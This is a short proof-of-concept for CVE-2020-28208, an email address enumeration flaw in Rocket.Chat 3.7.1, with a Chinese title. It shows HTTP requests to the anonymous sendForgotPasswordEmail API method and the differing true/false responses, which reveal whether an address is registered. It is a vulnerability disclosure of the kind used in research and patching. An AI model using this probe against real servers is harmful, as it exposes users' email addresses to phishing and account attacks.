CVE-2020-28208 Rocket.Chat 3.7.1 电子邮件地址枚举漏洞/ne

POC

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Sample HTTP request sent with a registered email address:

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POST /api/v1/method.callAnon/sendForgotPasswordEmail HTTP/1.1
Host: localhost:3000
Content-Length: 122
Accept: */*
Content-Type: application/json


{"message":"{\"msg\":\"method\",\"method\":\"sendForgotPasswordEmail\",\"params\":\"email protected\",\"id\":\"3\"}"}
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The server response to a valid email address:

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HTTP/1.1 200 OK
X-XSS-Protection: 1
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
X-Instance-ID: DQDfuEfNLdbZr3zYH
Cache-Control: no-store
Pragma: no-cache
content-type: application/json
Vary: Accept-Encoding
Date: Tue, 03 Nov 2020 12:01:25 GMT
Connection: keep-alive
Content-Length: 78

{"message":"{\"msg\":\"result\",\"id\":\"3\",\"result\":true}","success":true}
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Sample HTTP request sent with a non registered email address:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
POST /api/v1/method.callAnon/sendForgotPasswordEmail HTTP/1.1
Host: localhost:3000
Content-Length: 119
Accept: */*
Content-Type: application/json


{"message":"{\"msg\":\"method\",\"method\":\"sendForgotPasswordEmail\",\"params\":\"email protected\",\"id\":\"3\"}"}
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The server response to an invalid email address:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
HTTP/1.1 200 OK
X-XSS-Protection: 1
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
X-Instance-ID: DQDfuEfNLdbZr3zYH
Cache-Control: no-store
Pragma: no-cache
content-type: application/json
Vary: Accept-Encoding
Date: Tue, 03 Nov 2020 12:03:08 GMT
Connection: keep-alive
Content-Length: 79

{"message":"{\"msg\":\"result\",\"id\":\"3\",\"result\":false}","success":true}
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